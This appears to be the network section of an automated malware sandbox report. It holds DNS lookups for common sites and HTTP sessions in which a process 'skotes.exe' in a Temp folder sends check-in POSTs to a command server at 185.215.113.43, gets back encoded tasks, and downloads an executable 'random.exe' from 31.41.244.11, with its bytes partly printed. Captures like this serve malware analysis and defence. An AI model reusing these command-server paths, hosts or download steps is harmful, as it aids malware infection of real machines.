Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.633918047 CET	1.1.1.1	192.168.2.4	0x9311	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.633918047 CET	1.1.1.1	192.168.2.4	0x9311	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.770243883 CET	1.1.1.1	192.168.2.4	0xc5be	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.771071911 CET	1.1.1.1	192.168.2.4	0xa404	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.819056988 CET	1.1.1.1	192.168.2.4	0xbf2c	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.819056988 CET	1.1.1.1	192.168.2.4	0xbf2c	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.819272041 CET	1.1.1.1	192.168.2.4	0xbf2c	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.819272041 CET	1.1.1.1	192.168.2.4	0xbf2c	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.850981951 CET	1.1.1.1	192.168.2.4	0x7b99	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.910238028 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 22, 2024 04:14:02.910238028 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 22, 2024 04:14:02.910238028 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 22, 2024 04:14:02.910238028 CET	1.1.1.1	192.168.2.4	0x8fa3	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 22, 2024 04:14:02.995594025 CET	1.1.1.1	192.168.2.4	0x532b	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 22, 2024 04:14:03.048110008 CET	1.1.1.1	192.168.2.4	0xfeaf	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:03.048110008 CET	1.1.1.1	192.168.2.4	0xfeaf	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.048110008 CET	1.1.1.1	192.168.2.4	0xfeaf	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.048110008 CET	1.1.1.1	192.168.2.4	0xfeaf	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.048110008 CET	1.1.1.1	192.168.2.4	0xfeaf	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.133021116 CET	1.1.1.1	192.168.2.4	0x2436	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.171837091 CET	1.1.1.1	192.168.2.4	0xd712	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 22, 2024 04:14:03.187128067 CET	1.1.1.1	192.168.2.4	0x8332	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.187128067 CET	1.1.1.1	192.168.2.4	0x8332	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.187128067 CET	1.1.1.1	192.168.2.4	0x8332	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.187128067 CET	1.1.1.1	192.168.2.4	0x8332	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.271895885 CET	1.1.1.1	192.168.2.4	0x4ca2	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.277458906 CET	1.1.1.1	192.168.2.4	0xd712	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 22, 2024 04:14:39.341664076 CET	1.1.1.1	192.168.2.4	0x761e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:52.437073946 CET	1.1.1.1	192.168.2.4	0x8712	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:59.654583931 CET	1.1.1.1	192.168.2.4	0xc67	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:59.672367096 CET	1.1.1.1	192.168.2.4	0xddba	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:06.935321093 CET	1.1.1.1	192.168.2.4	0xf4ee	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:11.046340942 CET	1.1.1.1	192.168.2.4	0x5d3d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:11.409801006 CET	1.1.1.1	192.168.2.4	0x860	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.361284018 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.361284018 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.361284018 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.361284018 CET	1.1.1.1	192.168.2.4	0xda9a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:18.423388004 CET	1.1.1.1	192.168.2.4	0x6eb1	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.503798962 CET	1.1.1.1	192.168.2.4	0x5511	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.503798962 CET	1.1.1.1	192.168.2.4	0x5511	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.516130924 CET	1.1.1.1	192.168.2.4	0x8a40	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.516130924 CET	1.1.1.1	192.168.2.4	0x8a40	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:18.516130924 CET	1.1.1.1	192.168.2.4	0x8a40	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:20.736176968 CET	1.1.1.1	192.168.2.4	0xe950	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:22.156691074 CET	1.1.1.1	192.168.2.4	0x5d7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:22.156691074 CET	1.1.1.1	192.168.2.4	0x5d7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:57.401767969 CET	1.1.1.1	192.168.2.4	0x53fa	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:57.489564896 CET	1.1.1.1	192.168.2.4	0x96d8	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:59.406160116 CET	1.1.1.1	192.168.2.4	0x2376	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:15:59.501847982 CET	1.1.1.1	192.168.2.4	0xc4fd	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:16:29.457545042 CET	1.1.1.1	192.168.2.4	0x969e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:31.026113987 CET	1.1.1.1	192.168.2.4	0xc8a4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:16:31.026113987 CET	1.1.1.1	192.168.2.4	0xc8a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:42.162815094 CET	1.1.1.1	192.168.2.4	0x291f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:42.304375887 CET	1.1.1.1	192.168.2.4	0xf20a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:59.409929991 CET	1.1.1.1	192.168.2.4	0xf232	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:16:59.509253025 CET	1.1.1.1	192.168.2.4	0x3372	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:17:22.818845987 CET	1.1.1.1	192.168.2.4	0x76ac	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:17:59.421041012 CET	1.1.1.1	192.168.2.4	0x4334	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:17:59.514214039 CET	1.1.1.1	192.168.2.4	0xd503	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:18:39.110306025 CET	1.1.1.1	192.168.2.4	0xe1d	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:18:39.110306025 CET	1.1.1.1	192.168.2.4	0xe1d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:39.304049015 CET	1.1.1.1	192.168.2.4	0x5b87	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:39.403867960 CET	1.1.1.1	192.168.2.4	0x5b87	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:40.388092995 CET	1.1.1.1	192.168.2.4	0x2ad2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:18:40.388092995 CET	1.1.1.1	192.168.2.4	0x2ad2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:59.428345919 CET	1.1.1.1	192.168.2.4	0x2293	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:18:59.523708105 CET	1.1.1.1	192.168.2.4	0xc3ad	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:19:24.113548040 CET	1.1.1.1	192.168.2.4	0x3913	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:24.255405903 CET	1.1.1.1	192.168.2.4	0x1947	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:36.406383991 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:59.428365946 CET	1.1.1.1	192.168.2.4	0x7814	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:19:59.527254105 CET	1.1.1.1	192.168.2.4	0x9911	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:03.541126966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:12:04.928639889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:06.598932981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:12:08.001435995 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 30 39 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 30 39 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 30 39 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 30 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008090001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008091001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008092001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008093001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008094001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	31.41.244.11	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:08.165920019 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 22, 2024 04:12:09.531541109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:09 GMT Content-Type: application/octet-stream Content-Length: 4370944 Last-Modified: Fri, 22 Nov 2024 01:05:29 GMT Connection: keep-alive ETag: "673fd8d9-42b200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 d0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c4 00 00 04 00 00 b0 39 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 be c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 be c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@9C@ _qsX px'@.rsrc p'@.idata q'@ 7q'@znqcpoet'@hmwsaqwiB@.taggant0"B@
Nov 22, 2024 04:12:09.531618118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:09.531656981 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:09.531692028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:09.531748056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Og**~J81%
Nov 22, 2024 04:12:09.531783104 CET	1236	IN	Data Raw: 56 b1 3b 84 e8 62 fe 90 5a 36 c0 cc a8 be 21 5f 1d bc 83 40 42 06 3e a0 a9 f2 ae 6b 0a 09 aa f3 a6 fd b1 74 e0 a1 2d 1f 55 74 11 fa fc f3 35 90 f1 57 f2 0d c2 b2 e4 66 4f 0d 6a 97 84 7e 55 a9 81 0e 98 67 5c f4 a9 f9 23 b9 58 0f 53 5c bc 8f fa 34 Data Ascii: V;bZ6!_@B>kt-Ut5WfOj~Ug\#XS\43):;^0V_w[[V>19m4EZIH@1,TrVQ40vRlK])-8NlH<@{[SOU0rsnl\Bzk
Nov 22, 2024 04:12:09.531820059 CET	1236	IN	Data Raw: 8f fe ba ff ad 09 aa 79 8c 0d d7 02 2d 48 ae dc d2 96 0e c5 6e 82 91 f4 8f e6 3f 73 0d 8c cd 21 07 4c 04 52 1b bf b2 6b 6f 9f aa f3 8d 8d d7 df b6 ab fe 09 05 5e 90 15 03 44 32 fc 85 39 7a d2 ba c6 88 ad ae c3 7c 61 41 f2 0d a4 42 8e 3f d5 3f c1 Data Ascii: y-Hn?s!LRko^D29z\|aAB??dwN,-,sGw?>?h'!-R*Sv9HqNhJi,rkN6uTL'Z'JI69IM1^&O
Nov 22, 2024 04:12:09.531855106 CET	896	IN	Data Raw: 66 58 4b 89 2e 9c 8f 38 6c 3a af 61 0e 5e d9 4a 71 0e 94 4c 8c 4f a2 0d 1e 0f 8a 7f 26 09 4e 70 06 9e a4 38 09 8e 6a b5 e2 0d e4 b0 47 fd b9 bc 6c ea bf d3 f5 83 bc 1d fc aa ee de ae 0f 2a 1b 69 99 e0 c0 09 0a 1d de 0a a4 c8 47 04 6d bc 1a f1 42 Data Ascii: fXK.8l:a^JqLO&Np8jGl*iGmBNx2LAimi{CPPXbV^Wb(/)$.MG#z@36\|NK+C(y2BxCe~mVn.PQ3Jopv3ARG9_D.~YE
Nov 22, 2024 04:12:09.531891108 CET	1236	IN	Data Raw: 58 55 8b 0a ae 4c 8a cb ec b6 19 97 c6 f4 2a ae 2c ae b0 22 0e 98 45 13 03 e2 e2 48 6a 79 06 8f c8 cf 21 db 4d eb da c3 76 c2 d9 a5 81 0c 2f 00 8c 21 6c 11 8a 4a e3 c8 5c f6 9a 9e 00 b6 93 ec 16 e9 87 05 02 7f 8c 41 74 dd 01 3b 0e bb f0 b3 eb 1e Data Ascii: XUL,"EHjy!Mv/!lJ\At;`I}M/m9ZpE0wn~KL4\GZB2fnNWK3MqKCj,o<+"F5a$"r.h
Nov 22, 2024 04:12:09.531929016 CET	1236	IN	Data Raw: 80 b6 2c 01 ed 48 bf f8 65 dc 4b 9a 78 8a 89 76 38 93 86 a0 1d d5 af d0 de fe a2 d2 a8 b8 2e 1e 71 34 be 05 b6 e3 f2 6c 28 26 1f 10 8e 45 04 16 f3 ea db e1 1c d7 9e e5 16 8d ae 0b 33 0e a2 d1 1a c5 1f 36 09 09 bb 09 5a 74 9d 0a 77 d6 bb 0f 03 8d Data Ascii: ,HeKxv8.q4l(&E36ZtwbN*ql@vx{AVkE<_b:SqrI.vCaW.q\k][)~\K(Vk.<x vk~z)Wn.
